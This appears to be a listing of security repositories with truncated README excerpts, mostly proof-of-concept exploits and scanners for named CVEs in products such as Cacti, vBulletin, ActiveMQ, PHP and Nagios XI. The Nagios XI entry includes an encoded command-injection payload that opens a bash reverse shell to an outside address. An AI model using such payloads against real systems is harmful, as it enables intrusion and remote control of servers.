CVE-2024-24919

Check Point Security Gateways Information Disclosure - CVE-2024-24919 Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the internet and enabled with Remote Access VPN or Mobile Access Software Blades. A security fix that mitigates thi...

CVE-2025-7441

CVE-2025-7441 StoryChief data - sizes - full field pointing to an arbitrary URL. StoryChief does not perform sufficient filetype/content validation or restrict the URL source, allowing the plugin to fetch the remote resource and save it under the site's uploads directory. There is insufficient...

telerik-scanner-CVE-2019-18935

Telerik CVE-2019-18935 Vulnerability Scanner A Python-based security scanner designed to detect the Telerik UI for ASP.NET AJAX Remote Code Execution vulnerability CVE-2019-18935. 🚨 Vulnerability Details CVE : CVE-2019-18935 Risk Level : HIGH CWE : CWE-913 CVSS : 9.8 Critical Description Telerik ...

CVE-2024-29895-CactiRCE-PoC

Cacti RCE - CVE-2024-29895 Usage: python3 cve-2024-29895.py -u https://target.com/ -c id Affecting Cacti versions 1.3.X on DEV builds where cmdrealtime.php is present and POLLERID is enabled. Command Injection is possible via this endpoint, by requesting via GET with payload as HTML Query...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.x Unauthenticated Remote Code Execution Vulnerability Note: Some PoC packets return 403 instead of 200 Enhanced detection: echo md5'vBulletin'; Check if the response contains be4ea51d962be8308a0099ae1eb3ec63 print r.text.split'be4ea51d962be8308a0099ae1eb3ec63'0...

authkeysync

AuthKeySync Automatically synchronize SSH public keys from remote URLs to your servers 📖 Full Documentation The Problem Managing SSH access across multiple servers is painful: Team members join or leave, and you need to update authorizedkeys on every server Developers rotate their SSH keys, and n...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE Pseudoshell يستغل هذا السكربت CVE-2023-46604 Apache ActiveMQ لإنشاء قشرة شبه تفاعلية. تسمح الثغرة بتنفيذ الأوامر عن بعد نتيجة لإلغاء التسلسل غير الآمن في بروتوكول OpenWire. الوصف CVE-2023-46604 هي ثغرة في إلغاء التسلسل موجودة في بروتوكول OpenWire الخاص بـ Apache ActiveMQ. يمكن...

CVE-2025-7558-PoC

CVE-2025-7558-PoC Summary A vulnerability labeled as critical has been found in code-projects Voting System 1.0. The affected element is an unknown function of the file /admin/positionsadd.php. Such manipulation of the argument Description leads to sql injection. This vulnerability is documented ...

CVE-2025-24893-RCE-PoC

Infos This PoC first tests for the SSTI and if it works. It will go in loop and allows you to run commands remotly. The exec and shell command do the same currently. Installation python3 -m pip install requirements.txt Usage Connecting python3 poc.py Example With debug set to False default python...

itsm-exploit

Exploits for Ivanti Neurons for ITSM On Premise This script exploits several flaws that allow an unauthenticated attacker to gain administrator access and execute remote commands CVE-2023-46808 on Ivanti Neurons for ITSM On Premise. For technical details, see Technical Details Affected versions...

CVE-2024-4577-RCE

PHP CGI Argument Injection CVE-2024-4577 RCE 📜 Description In PHP versions 8.1. before 8.1.29, 8.2. before 8.2.20, 8.3. before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command...

CVE-2018-1263-Demo

Exploit Demo This guide will help you to install vulnerable component and perform the attack related to phpMyAdmin bug mentioned in CVE-2018-1263. Description of CVE Why does the vulnerability exist How does the attack work How to install vulnerable component How to perform the attack Description...

CVE-2019-19369

CVE-2019-19369 - FusionPBX = 4.5.10 RCE بعد المصادقة يمكن للمهاجمين المصادَق عليهم استخدام وظيفة PHP-Editor في إصدارات FusionPBX = 4.5.10 لتعديل إحدى صفحات PHP الموجودة لإدراج حمولة PHP. ومن خلال الانتقال إلى الملف المعدَّل، نتمكن من الحصول على شل بصلاحية www-data. اكتشفها TheCyberGeek...

CVE-2024-37054-MLflow-RCE

| / || | | || | / \ \ / / | |/| || | | | | | | | | |\ \ /\ / / | | | || | | | | || || | \ V V / || |||||| ||/ // | \ / || | | \ / | | | || | | | | | |/ \ | | | | | | | | /| || | || \ ||| || / | CVE-2024-37054: MLflow Remote Code Execution PoC This repository contains a Proof of Concept...

CVE-2023-4220-exploit

CVE-2023-4220-exploit Unrestricted file upload in the large file upload functionality at /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS versions = 1.11.24 allows unauthenticated attackers to perform stored Cross-Site Scripting attacks and achieve remote code execution by...

msf-module-CVE-2019-0708

CVE-2019-0708 Bluekeep Metasploit module for CVE-2019-0708 BlueKeep Pulled from https://github.com/rapid7/metasploit-framework/tree/5a0119b04309c8e61b44763ac08811cd3ecbbf8d/modules/exploits/windows/rdp and fixed File copy instructions 1. Make a folder named 'rdp' in...

CVE-2019-20197

CVE-2019-20197 Remote Command Execution Vulnerability in Nagios XI = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite POST...

CVE-2022-36446

CVE-2022-36446 CVE-2022-36446 - Webmin 1.996 Remote Code Execution Access to the "Software Package Updates" module is required to trigger the vulnerability. Users with access to this module can run commands with root privileges on the system by performing OS Command Injection during a new package...

CVE-2024-21006

CVE-2024-21006 CVE-2024-21006 Description Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core. Supported versions that are affected are 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T...

gitlab-rce-demo

Démo RCE GitLab Oj Ce dépôt contient une démo autonome de la chaîne RCE notebook-diff de GitLab décrite dans nos recherches. Il démarre un conteneur GitLab 18.11.3 vierge, crée un utilisateur ordinaire via l’interface HTTP publique, puis exécute le PoC contre cette instance. Détails techniques : ...